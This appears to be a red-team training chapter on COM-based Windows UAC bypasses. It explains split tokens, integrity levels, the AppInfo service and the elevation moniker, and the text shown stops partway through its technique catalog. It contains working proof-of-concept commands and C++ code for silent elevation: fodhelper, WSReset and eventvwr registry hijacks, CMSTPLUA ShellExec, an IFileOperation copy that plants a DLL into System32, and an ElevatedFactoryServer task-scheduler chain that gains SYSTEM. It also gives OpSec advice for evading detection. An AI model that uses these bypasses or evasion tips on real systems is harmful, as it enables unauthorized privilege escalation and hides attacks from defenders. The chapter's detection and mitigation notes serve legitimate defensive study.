Files
2026-07-18 21:50:11 +05:30

793 lines
72 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 04 · COM-Based UAC Bypass
> **Audience / level:** Red team operators and detection engineers; no UAC internals background assumed, ramping to advanced tradecraft. **Prerequisites:** basic Windows administration (registry, services, scheduled tasks), PowerShell literacy, and COM fundamentals (CLSID, moniker, activation). **Estimated reading time:** 90120 minutes.
> After this chapter you will be able to explain how UAC elevation actually works, turn auto-approved COM classes into silent High-integrity execution, reproduce nine documented bypass families in a lab, and predict the telemetry each one leaves behind.
**Contents**
- [1. UAC internals: what is being bypassed](#1-uac-internals-what-is-being-bypassed)
- [2. The COM connection: elevation moniker and auto-approved classes](#2-the-com-connection-elevation-moniker-and-auto-approved-classes)
- [3. Technique catalog](#3-technique-catalog) — nine families: registry shell-association hijacks; CMSTPLUA/ICMLuaUtil; IFileOperation; ElevatedFactoryServer; DLL hijacking; mock trusted directories; SilentCleanup; token manipulation/AppInfo abuse; CVE-2019-1388
- [4. Tooling: UACME, Akagi, and validation frameworks](#4-tooling-uacme-akagi-and-validation-frameworks)
- [5. Detection and hunting](#5-detection-and-hunting)
- [6. Mitigations and hardening](#6-mitigations-and-hardening)
- [Research Lab: Finding New UAC Bypasses](#research-lab-finding-new-uac-bypasses)
- [References](#references)
---
## 1. UAC internals: what is being bypassed
User Account Control (UAC), introduced in Windows Vista, forces even members of the local Administrators group to run with a **filtered** standard-user token until a process explicitly requests elevation ([3]). A "UAC bypass" is any technique that obtains a High-integrity, full-administrator process **without** the interactive consent or credential prompt ([2]). Everything in this chapter is a way to short-circuit one specific hop of the elevation pipeline described below.
> **Beginner note:** A **token** is the kernel object that carries a logon session's identity: user and group SIDs, privileges, and an integrity level. A **filtered token** (also called a restricted or limited token) is a copy of the administrator's real token with the powerful group SIDs and privileges stripped out — produced by `NtFilterToken`. The two tokens are *linked*: the full one is kept by the system and can be reached through the `TokenLinkedToken` information class, which is exactly what legitimate elevation retrieves.
**Split tokens at logon.** When a "protected administrator" (an admin running in Admin Approval Mode) logs on interactively, LSASS (`lsass.exe`) creates two linked tokens: the full-privilege token and the filtered token. `explorer.exe` — and therefore every program you start from the shell — runs on the filtered token at Medium integrity ([3]). Token state is queryable via `GetTokenInformation`/`NtQueryInformationToken` with `TOKEN_ELEVATION_TYPE` (`TokenElevationTypeDefault`=1, `TokenElevationTypeFull`=2, `TokenElevationTypeLimited`=3), `TokenElevation`, `TokenLinkedToken`, and `TokenIntegrityLevel`.
> **Beginner note:** **Mandatory Integrity Control (MIC)** labels every securable object and every token with an **integrity level (IL)**, encoded as a mandatory-label SID of the form `S-1-16-x`. The write rule is "no write up": a process cannot modify objects labeled above its own IL. **UIPI** (User Interface Privilege Isolation) applies the same idea to window messages: a lower-IL process cannot send input to a higher-IL window unless the sender's manifest sets `uiAccess="true"` and the binary is signed and installed in a secure location.
| Integrity level | RID `x` in `S-1-16-x` | Hex | Typical holder |
|---|---|---|---|
| Untrusted | 0 | 0x0 | Anonymous / heavily sandboxed |
| Low | 4096 | 0x1000 | Browsers, sandboxed renderers |
| Medium | 8192 | 0x2000 | Default user processes (filtered admin token) |
| Medium Plus | 8448 | 0x2100 | `explorer.exe` (Vista-era) |
| High | 12288 | 0x3000 | Elevated administrator processes |
| System | 16384 | 0x4000 | `NT AUTHORITY\SYSTEM` services |
| Protected | 20480 | 0x5000 | Protected processes (PPL) |
**The elevation pipeline.** When a process needs elevation — its manifest declares `requestedExecutionLevel level="requireAdministrator"`, or the caller used `ShellExecuteEx` with `lpVerb="runas"` — process creation fails with `ERROR_ELEVATION_REQUIRED` (740) and the request is forwarded to the **Application Information service** (AppInfo; `appinfo.dll` hosted in `svchost.exe`, historically `C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo`, with per-service hosting on Windows 10 1703+). AppInfo is the elevation broker: it evaluates policy, manifest, signature, and path trust, then asks the user. James Forshaw documented its local RPC/ALPC interface — UUID `{201ef99a-7fa0-444c-9399-19ba84f12a1a}` — and the `RAiLaunchAdminProcess` call that ultimately starts the approved process ([7]).
> **Beginner note:** **consent.exe** is the Consent UI — the dimmed-screen "Do you want to allow this app to make changes?" dialog. AppInfo launches it as `NT AUTHORITY\SYSTEM` at System integrity on the **Secure Desktop**, a separate Winlogon desktop where only SYSTEM-trusted processes can render or receive input, which defeats UI spoofing (unless weakened with `PromptOnSecureDesktop=0`). On approval, AppInfo creates the new process with the full token at High IL; on denial, nothing runs.
**Policy knobs** live under `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` ([4]):
| Value | Default | Meaning |
|---|---|---|
| `EnableLUA` | 1 | 0 disables UAC entirely (breaks Store apps) |
| `ConsentPromptBehaviorAdmin` (CPBA) | 5 | 0 = elevate without prompting; 1 = credentials on secure desktop; 2 = consent on secure desktop ("Always notify"); 3 = credentials; 4 = consent; 5 = consent for non-Windows binaries |
| `ConsentPromptBehaviorUser` | — | 0 = auto-deny; 1 = credentials on secure desktop; 3 = credentials |
| `PromptOnSecureDesktop` (POSD) | 1 | 0 = consent UI on the interactive desktop (UI-spoofable) |
| `FilterAdministratorToken` | 0 | Built-in Administrator has **no** split token and auto-elevates everything — UAC bypass is moot there |
| `ValidateAdminCodeSignatures` | 0 | Require elevated binaries to be signed |
| `EnableSecureUIAPaths` | 1 | Restrict `uiAccess="true"` to secure locations |
| `LocalAccountTokenFilterPolicy` | 0 | "Remote UAC" token filtering for local accounts over the network — a lateral-movement concern (see the DCOM chapter), not a local-bypass knob |
The UI slider maps onto policy: *Always notify* = CPBA 2 / POSD 1; *Default* = CPBA 5 / POSD 1; *no-dim* = CPBA 5 / POSD 0; *Never notify* = CPBA 0 / POSD 0 ([4]). `COMAutoApprovalList`, the registry list of COM classes approved for silent elevation, is covered in section 2.
**Auto-elevation — the "backdoor" everyone abuses.** Since Windows 7, to reduce prompt fatigue, a process elevates with **no prompt** when all of the following hold: (a) its manifest sets `autoElevate="true"` (or it sits on AppInfo's internal auto-approve EXE list, e.g. `mmc.exe`), (b) it resides in a trusted secure directory (`%SystemRoot%\System32` and similar), (c) it is signed by the Microsoft/Windows publisher, and (d) policy is at default (CPBA=5) ([3], [4]). Two further silent-elevation surfaces exist: approved COM classes (`COMAutoApprovalList`) and certain scheduled tasks configured to run "with highest privileges."
> **Key idea:** Every bypass family in section 3 poisons exactly one of these trust inputs: *what the auto-elevated binary resolves* (registry shell associations), *what it loads* (DLL search order), *where it "lives"* (mock trusted directories), *what environment it inherits* (`%windir%`, profiler variables), or *which COM class AppInfo auto-approves*.
**UAC is not a security boundary — and what a bypass gains.** Microsoft explicitly declines to service UAC bypasses as security vulnerabilities: the MSRC reply quoted in public research reads "we don't consider UAC a hard security boundary, but rather, a customizable enhancement..." (MSRC case 64957, per Stefan Kanthak ([21]); see the Microsoft Security Servicing Criteria ([6])). The practical consequences: most bypasses never receive CVEs or patches, they die only through incidental OS hardening, and the reference corpus (UACME, section 4) still lists roughly 25+ working methods as of v3.7.x in 2026 ([1]). Operationally, a bypass converts code execution *as a protected admin at Medium IL* into a High-IL full-token process **silently** — no prompt to scare the user, no credentials to steal. It presupposes you already run code as an admin-group user; from a standard user there is nothing to bypass. It yields High IL, not SYSTEM — unless you chain further (section 3.4 yields SYSTEM directly). At least 60 named threat groups and malware families use T1548.002 in the wild, including LockBit 2.0/3.0, BlackCat, Avaddon, BADHATCH, Raspberry Robin, Saint Bot, ZeroT, Pupy, WarzoneRAT, and KONNI ([2]).
> **Legal:** Every technique here executes code with elevated privileges on a machine. Use only inside an authorized engagement with written scope, or in your own lab VMs. Several families are near-zero-false-positive detection opportunities — expect competent blue teams to catch lazy execution.
---
## 2. The COM connection: elevation moniker and auto-approved classes
COM enters the UAC story through a documented Microsoft feature: the **COM Elevation Moniker** ([5]). Instead of `CoCreateInstance`, the client binds an object by name:
```cpp
CoGetObject(L"Elevation:Administrator!new:{CLSID}", &bind_opts, riid, &ppv);
```
with `BIND_OPTS3.dwClassContext = CLSCTX_LOCAL_SERVER`. This requests an **out-of-process, elevated** COM server: the activation request goes through AppInfo, which applies the same trust evaluation as for an EXE launch. For classes on the `COMAutoApprovalList``HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList` — activation from a Medium-IL caller on default UAC policy is **silent**: consent.exe never runs ([5], [39]).
> **Beginner note:** A **moniker** is COM's "object by name" mechanism: a string like `Elevation:Administrator!new:{...}` encodes *how* to bind (elevated, as administrator, new instance) plus *what* to bind (the CLSID). `CoGetObject` parses the string, delegates to the moniker implementation, and returns an interface pointer — here, a pointer into a High-IL server process. Per-class elevation support is flagged in the registry by an `Elevation` subkey with `Enabled` = 1 under `HKCR\CLSID\{...}`; approval for *silent* elevation additionally requires the class to be listed in `COMAutoApprovalList` ([5]).
![Figure 1 — The COM elevation moniker: approved classes bind silently, everything else prompts](diagrams/d07-elevation-moniker.png)
*How to read this figure: a Medium-IL caller issuing `CoGetObject("Elevation:Administrator!new:{CLSID}")` reaches AppInfo, which consults the auto-elevation criteria (autoElevate manifest, signature, secure directory, or the class-level `Elevation\Enabled` registration and `COMAutoApprovalList`). The red path is the one this chapter weaponizes — a silent High-IL object; the slate path is the consent prompt every bypass is trying to avoid.*
The conceptual shift matters for offense: EXE-based auto-elevation asks AppInfo "do I trust this *program*?", while COM auto-elevation asks "do I trust this *class*?" — and trusted classes expose *methods*. If any reachable method on an auto-approved class lets you start a process, write a file, or edit the registry, you own a silent Medium-to-High primitive ([23], [39]).
![Figure 2 — Auto-elevated COM: the prompt that never appears](diagrams/d18-uac-autoelevate.png)
*How to read this figure: lane A is the normal path (Medium-IL process → AppInfo → consent prompt → High-IL process). Lane B is the COM path: activating an auto-elevated class returns a High-IL object with no prompt at all, and its methods — e.g. `IFileOperation.CopyItem` — then act with elevated rights, such as writing into `%windir%\System32`.*
---
## 3. Technique catalog
Nine bypass families, each with mechanics, prerequisites, a runnable PoC, and its telemetry. UACME method numbers are cited as `[UACME #n]`; "fixed in" data is verbatim from the UACME v3.7.x README ([1]). Remember the standing caveat: **"unfixed" means "UACME-listed unfixed"**, not a guarantee on a specific patched build — independent testers report inconsistent behavior across 22H225H2 from silent hardening and AV/EDR interference, so always re-verify in a lab matching your target build.
Two catalogued surfaces are summarized here rather than given full templates. **UIPI/`uiAccess` GUI hacks:** hijack `duser.dll`/`osksupport.dll` into `osk.exe`, then leverage `uiAccess` to drive an elevated window (#32, xi-tauw, UNFIXED); or duplicate/modify a UIAccess token while lowering the IL, keeping `uiAccess` to send synthetic input across the boundary (#55/#79, Forshaw/Kanthak — fixed RS5 17763 plus 2024 hardening that strips UIAccess when the IL is lowered; targets `osk.exe`, `msconfig.exe`, `mmc.exe`) ([41]). **Appcompat/misc:** the RedirectEXE shim (#4 — Downdelph built custom SDBs; fixed via KB3045645/KB3048097 and `sdbinst` auto-elevation removal), a shim memory patch (#11), the InfDefaultInstall whitelist (#28 — MS14-060/Sandworm; removed from the auto-approve EXE list), an auto-elevate manifest trick on manifest-less MS binaries (`taskhost`/`tzsync`, #18, fixed RS1 14371), and .NET deserialization in Event Viewer (#73, orange_8361 + antonioCoco, fixed 24H2 by the EventViewer redesign) ([1]).
### 3.1 Registry shell-association hijacks (fodhelper, computerdefaults, eventvwr, sdclt, WSReset)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** 20162019, enigma0x3 / winscripting.blog / Hashim Jawad / others below · **Affects:** Windows 7 through Windows 11, per binary (table below)
The most popular family, and fully fileless. The generic principle: an auto-elevating EXE internally `ShellExecute`s a protocol or file association; the per-user hive `HKCU\Software\Classes` overrides `HKLM\Software\Classes`, is writable at Medium IL, and the elevated process resolves the verb from the attacker's hive — executing the attacker's `(Default)` command with its inherited High-integrity token. No prompt, no file copy into protected paths.
#### Mechanics
1. Choose an auto-elevated binary that resolves a shell association at runtime (table below).
2. Write the association's verb command under `HKCU\Software\Classes\<ProgID-or-protocol>\shell\open\command` (or `Shell\Open\command`), pointing `(Default)` at the payload.
3. Empty the verb's `DelegateExecute` value — **this step is critical**: when `DelegateExecute` is populated, the shell routes the verb to the registered COM handler and ignores your `(Default)` command.
4. Launch the auto-elevated binary. It auto-elevates silently (default policy), queries the association, and starts the payload at High IL.
5. Delete the planted key for cleanup.
| Binary | Hijacked key | Builds | Status / UACME | Source |
|---|---|---|---|---|
| `fodhelper.exe` (Manage Optional Features) | `HKCU\Software\Classes\ms-settings\Shell\Open\command` | Win10 10240 → Win11 | UNFIXED (#33; protocol variant #67 Arush Agarampur; ProgID variant #70 V3ded ([43])) | winscripting.blog, May 12 2017 ([12]) |
| `computerdefaults.exe` | same `ms-settings` key | Win10 RS4 17134+ | UNFIXED (#62) | winscripting.blog ([12]) |
| `eventvwr.exe` | `HKCU\Software\Classes\mscfile\shell\open\command` | Win710 | FIXED in Win10 RS2/1703 build 15031+ (Event Viewer redesigned) | Matt Nelson + Matt Graeber, Aug 15 2016 ([8]) |
| `sdclt.exe` wave 1 (App Paths) | `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | Win10 1024016215 | FIXED RS3 (#29) | enigma0x3, Mar 14 2017 ([10]) |
| `sdclt.exe` wave 2 (Folder) | `HKCU\Software\Classes\Folder\shell\open\command` | Win10 1024017025 | FIXED RS4 (#31) | enigma0x3, Mar 17 2017 ([11]) |
| `sdclt.exe` wave 3 (ShellRegMod) | registry modification variant | Win10 14393+ | UNFIXED (#53) | Emeric Nasi / sevagas ([16]) |
| `WSReset.exe` | `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` | Win10 17134/18031809 | #56 FIXED Win11 22000; protocol variant #68 (Arush Agarampur) UNFIXED from 17763 | Hashim Jawad, Mar 2019 ([15]) |
Adjacent surfaces worth knowing: `slui.exe`/`changepk.exe` (#45 fixed 19041; #61 UNFIXED from 14393), COM-handler hijack under `HKCU\Software\Classes\CLSID\{...}` against `mmc.exe`/`recdisc.exe` (#40/#47, fixed 19H1 18362), and a `BitlockerWizardElev` race (#46, fixed RS4) ([1]). In the wild: fodhelper via Earth Lusca, Raspberry Robin, Saint Bot, KOCTOPUS; eventvwr via ZeroT, Pupy, Koadic, BitPaymer, Grandoreiro ([2]).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Code execution as a protected administrator (Medium IL); `HKCU` is writable |
| OS/build | Per table; fodhelper/computerdefaults are the modern defaults |
| Config | Default UAC policy (CPBA=5); "Always notify" (CPBA=2) blocks the family |
#### Proof of concept
```powershell
# fodhelper — the canonical chain ([12])
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\fodhelper.exe # payload starts at High IL
reg delete "HKCU\Software\Classes\ms-settings" /f # cleanup
# WSReset — ms-windows-store AppID verb ([15])
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\WSReset.exe
# eventvwr (pre-15031 only) — mscfile verb ([8])
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\path\payload.exe" /f
C:\Windows\System32\eventvwr.exe # eventvwr -> mmc.exe eventvwr.msc -> payload High IL
```
(Metasploit ships `exploit/windows/local/bypassuac_eventvwr` for the legacy variant ([38]); Atomic Red Team covers fodhelper, eventvwr, sdclt, and WSReset #23 ([31]) — see section 4.)
#### OpSec & detection
- **Sysmon 12/13** on the §5 registry paths — the write of `(Default)` plus an emptied `DelegateExecute`, followed within seconds by the matching System32 binary, is the classic automated chain (Splunk "WSReset UAC Bypass" ([33]); Sigma has per-technique `registry_set` rules ([37])).
- **Sysmon 1:** a High-integrity child process (`cmd.exe`/`powershell.exe`/payload in user paths) whose parent is a known auto-elevate binary is near-zero false positive (Splunk "FodHelper UAC Bypass" ([32]), "Windows UAC Bypass Suspicious Child Process" ([36])).
- **Reduce noise:** write, launch, clean up in quick succession; prefer payloads whose `Image` is a signed binary; remember the registry write happens at Medium IL and is fully visible to EDR even when the elevated child is not.
#### Mitigations
- Set the slider to *Always notify* (CPBA=2, POSD=1) — kills this family outright ([4]).
- WDAC/AppLocker rules blocking child processes of auto-elevate binaries; audit `HKCU\Software\Classes\` association keys for the watched ProgIDs ([44]).
### 3.2 CMSTPLUA and ICMLuaUtil (elevated ShellExec and friends)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** Oddvar Moe, [UACME #41] · **Affects:** Windows 7 7600 → present, UNFIXED ([1])
The elevated-COM workhorse. The COM class `CMSTPLUA` (CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`, implemented by `cmluautil.dll`) is auto-approved for silent elevation and exposes the undocumented interface `ICMLuaUtil` (IID `{6EDD6D74-C007-4E75-B76A-E5740995E24C}`), whose `ShellExec` method starts an arbitrary process from the elevated server ([1], [22]). Used in the wild by Avaddon, BADHATCH, LockBit 3.0, FudCrypt, and the 2026 JDownloader supply-chain malware ([2], [23]); elevated COM abuse also appears in in-memory loaders dropping ScreenConnect ([45]).
![Figure 3 — CMSTPLUA / ICMLuaUtil chain](diagrams/d20-cmstplua-chain.png)
*How to read this figure: activation of `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` through the elevation moniker yields an auto-elevated object; binding `ICMLuaUtil` and calling `ShellExec("cmd.exe", ...)` produces a High-IL child process. The variant note marks `SetRegistryStringValue` — an elevated registry write off the same interface.*
#### Mechanics
1. `CoInitializeEx`, then build the moniker string `Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`.
2. `CoGetObject` with `BIND_OPTS3` (`dwClassContext = CLSCTX_LOCAL_SERVER`) — AppInfo finds the class on `COMAutoApprovalList` and starts the elevated COM server with no consent UI.
3. Query the returned object for `ICMLuaUtil` (`{6EDD6D74-C007-4E75-B76A-E5740995E24C}`).
4. Call `ShellExec` — signature (undocumented; sits at the vtable slot after six placeholder methods): `HRESULT ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow)` — e.g. `ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW)` → elevated process, no prompt on default UAC ([1], [22]).
5. Variants on the same interface: `ICMLuaUtil::CallCustomActionDll` runs an arbitrary DLL export elevated ([22]); the assigned chain diagram notes a `SetRegistryStringValue` method for elevated registry writes (signature not documented in our sources — verify in lab).
6. Modern wrinkle (20242026 research, codedintrusion / g3tsyst3m): on current Win10/11 builds real-world loaders add **PEB masquerading** before `CoGetObject` — overwriting `PEB.ImagePathName`/`FullPath` to pose as a trusted binary such as `explorer.exe`/`conhost.exe` — because AppInfo scrutinizes the caller ([22], [23]).
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 7 7600 → present per UACME; behavior on latest builds is version-dependent (verify in lab) |
| Config | Default UAC policy; class must remain on `COMAutoApprovalList` |
| Tooling | Compiled C/C++ (or reflective loader); no documented PowerShell one-liner for the raw interface |
#### Proof of concept
```cpp
// Minimal CMSTPLUA bypass — bind the elevated object, ShellExec a command ([1], [22])
#include <windows.h>
#include <objbase.h>
const CLSID CLSID_CMSTPLUA = {0x3E5FC7F9,0x9A51,0x4367,{0x90,0x63,0xA1,0x20,0x24,0x4F,0xBE,0xC7}};
const IID IID_ICMLuaUtil = {0x6EDD6D74,0xC007,0x4E75,{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C}};
// Undocumented interface; vtable layout per public reversing ([22]): six placeholders, then ShellExec
struct ICMLuaUtil : IUnknown {
virtual HRESULT STDMETHODCALLTYPE r0()=0; virtual HRESULT STDMETHODCALLTYPE r1()=0;
virtual HRESULT STDMETHODCALLTYPE r2()=0; virtual HRESULT STDMETHODCALLTYPE r3()=0;
virtual HRESULT STDMETHODCALLTYPE r4()=0; virtual HRESULT STDMETHODCALLTYPE r5()=0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR f, LPCWSTR p, LPCWSTR d, ULONG m, ULONG s)=0;
};
int wmain() {
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
ICMLuaUtil* p = NULL;
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
&bo, IID_ICMLuaUtil, (void**)&p);
if (SUCCEEDED(hr)) { // 0 == SEE_MASK_DEFAULT; failure means policy/build blocked the silent bind
p->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, 0, SW_SHOW);
p->Release();
}
CoUninitialize();
return 0;
}
```
#### OpSec & detection
- **Process lineage:** the elevated child appears under a COM surrogate/`dllhost`-style host rather than under your Medium-IL process — but the *grandchild* (`cmd.exe` at High IL with no `consent.exe` on the wire) is the tell: silent elevation events without a consent prompt are a documented hunting pattern (section 5).
- **String indicators:** the literal `Elevation:Administrator!new:` moniker and the CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` — frequently stored reversed or XORed in malware (T1027); hunt both forms. **PEB masquerading** defeats naive parent-image checks; correlate with Sysmon EID 10 (process access) around activation time.
- **Reduce noise:** prefer `CallCustomActionDll` or `SetRegistryStringValue`-style side effects over spawning `cmd.exe`; keep payloads inside signed LOLBins so the High-IL child's `Image` blends in.
#### Mitigations
- *Always notify* policy blocks the silent activation ([4]).
- WDAC/AppLocker child-process and user-writable-path DLL rules; alert on any process binding auto-approved elevated classes outside known system components; monitor `COMAutoApprovalList` for tampering ([44]).
### 3.3 IFileOperation (privileged file copy into protected directories)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) · **Since:** Leo Davidson lineage; underpins [UACME #1#3, #8, #10, #12#23, #57, #77] · **Affects:** Windows 7 → present, UNFIXED ([1])
`IFileOperation` is the documented shell copy interface (`shobjidl_core.h`) exposed by the class `CLSID_FileOperation` = `{3AD05575-8857-4850-9277-11B85BDB8E09}` — and that class is auto-approved for silent elevation. Bound through the elevation moniker, it gives a Medium-IL process a **privileged copy primitive**: write attacker files into `%SystemRoot%\System32` (or the `sysprep` directory) without ever touching `CreateFile` with elevated rights itself. This is the classic arming step for the DLL-hijack family (section 3.5); WarzoneRAT uses it on older OSes ([1], [2]).
![Figure 4 — IFileOperation bypass chain](diagrams/d19-ifileoperation-chain.png)
*How to read this figure: (1) bind elevated `IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}`, (2) set silent operation flags, (3) `CopyItem` the payload DLL into `C:\Windows\System32\...`, (4) `PerformOperations()`, then (5) an auto-elevated process loads the planted DLL. The teal note marks the defensive signal: a Medium-IL process writing into System32 via COM.*
#### Mechanics
1. `CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}", ...)` with `BIND_OPTS3`/`CLSCTX_LOCAL_SERVER` → elevated `IFileOperation` ([1]).
2. `SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI)` — suppress every UI and confirmation path.
3. Build `IShellItem`s for the source DLL and destination folder; `CopyItem(src, destFolder, NULL, NULL)`.
4. `PerformOperations()` — the copy executes with High-IL rights, landing the DLL inside the protected directory.
5. Launch the auto-elevated binary whose import table resolves the planted DLL name first (section 3.5) → attacker code runs inside a High-IL Microsoft-signed process.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 7 → present per UACME (verify exact copy semantics per build in lab) |
| Config | Default UAC policy |
| Payload | A DLL matching the target binary's hijackable import (name, exports, architecture) |
#### Proof of concept
```cpp
// IFileOperation elevated copy — plant evil.dll into System32\sysprep (arming step) ([1])
#include <windows.h>
#include <shobjidl.h>
#include <shlobj.h>
const CLSID CLSID_FileOperation = {0x3AD05575,0x8857,0x4850,{0x92,0x77,0x11,0xB8,0x5B,0xDB,0x8E,0x09}};
int wmain() {
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IFileOperation* pfo = NULL;
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
&bo, IID_IFileOperation, (void**)&pfo);
if (SUCCEEDED(hr)) {
pfo->SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI);
IShellItem *src = NULL, *dst = NULL;
SHCreateItemFromParsingName(L"C:\\Users\\attacker\\evil-cryptbase.dll", NULL, IID_IShellItem, (void**)&src);
SHCreateItemFromParsingName(L"C:\\Windows\\System32\\sysprep", NULL, IID_IShellItem, (void**)&dst);
pfo->CopyItem(src, dst, NULL, NULL);
pfo->PerformOperations(); // file lands in the protected directory
src->Release(); dst->Release(); pfo->Release();
}
CoUninitialize();
return 0;
}
```
#### OpSec & detection
- **Sysmon 11 (file create):** a write into `%SystemRoot%\System32` (or `...\sysprep`) attributed to a Medium-IL, non-system process is the canonical signal — the figure's teal note.
- **Sysmon 7 (image load) + API telemetry:** the *next* event is a Microsoft-signed auto-elevated binary loading the planted DLL from a non-standard location (section 3.5); ETW/API monitors see `CoGetObject` with the FileOperation CLSID and `IFileOperation::CopyItem` destinations outside user-writable paths.
- **Reduce noise:** stage the source DLL on disk briefly and delete after `PerformOperations`; reuse the destination binary's *real* expected DLL name so image-load allow-lists match.
#### Mitigations
- *Always notify* blocks the silent bind ([4]).
- WDAC policy blocking unsigned DLL loads by elevated Microsoft binaries; enable the `PreferSystem32Images` mitigation; alert on System32 writes by non-trusted installers ([44]).
### 3.4 ElevatedFactoryServer (fileless COM to Task Scheduler to SYSTEM)
**MITRE:** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) + [T1053.005](https://attack.mitre.org/techniques/T1053/005/) · **Since:** zcgonvh, [UACME #74] · **Affects:** Windows 8.1 9600+, UNFIXED ([1], [19])
The crown jewel of the family: a fully fileless chain that yields **SYSTEM**, not just High IL. The auto-approved class `ElevatedFactoryServer` (`{A6BFEA43-501F-456F-A845-983D3AD7B8F0}`) exposes `IElevatedFactoryServer` (IID `{804bd226-af47-4d71-b492-443a57610b08}`) with a `ServerCreateInstance` method that instantiates *arbitrary COM classes* inside the elevated surrogate — including the Task Scheduler's `TaskScheduler` class (`{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}`), whose `ITaskService` then registers a task running as SYSTEM ([19]).
#### Mechanics
1. `CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ...)` → elevated `IElevatedFactoryServer`. It is an `InProcServer32` class, so activation runs inside a surrogate/`dllhost` governed by the `LaunchPermission`/`AccessPermission` security descriptors on `HKLM\SOFTWARE\Classes\AppID\{A6BFEA43-...}` ([19]).
2. Call `ServerCreateInstance({0f87369f-a4e5-4cfc-bd3e-73e6154572dd} /* CLSID TaskScheduler */, IID_IUnknown, ...)` → an elevated `ITaskService` proxy.
3. `ITaskService::Connect`, then register a task whose XML sets `<Principal><UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel>` with an arbitrary command action.
4. Run the task (or set an immediate trigger) → the command executes as `NT AUTHORITY\SYSTEM`. Entirely in-memory/fileless.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 8.1 9600+ per UACME (verify in lab on latest builds) |
| Config | Default UAC policy; class on `COMAutoApprovalList`; AppID SDs at defaults |
#### Proof of concept
```cpp
// (illustrative sketch — vtable order per zcgonvh's write-up ([19]); verify against your build)
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IElevatedFactoryServer* pefs = NULL;
CoGetObject(L"Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}",
&bo, IID_IElevatedFactoryServer /* {804bd226-af47-4d71-b492-443a57610b08} */, (void**)&pefs);
// elevated ITaskService straight out of the factory — no file ever touches disk
ITaskService* pts = NULL;
pefs->ServerCreateInstance(CLSID_TaskScheduler /* {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} */,
IID_IUnknown, (IUnknown**)&pts);
pts->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
// ... IRegisteredTask with <UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel> -> SYSTEM shell
```
#### OpSec & detection
- **Sysmon 1:** `svchost.exe` (Schedule service) spawning the task action as SYSTEM — parent is Task Scheduler, not your process; correlate with a preceding silent elevation (no `consent.exe`).
- **Task registration + strings:** Security/Sysmon task-scheduler events for a new SYSTEM-principal task registered outside admin tooling; `Elevation:Administrator!new:` plus CLSIDs `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` / `{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}` in binaries or memory.
- **Reduce noise:** use a one-shot time trigger and delete the task immediately; name it under `\Microsoft\Windows\`-looking paths; no dropped binary means Sysmon 11 stays quiet.
#### Mitigations
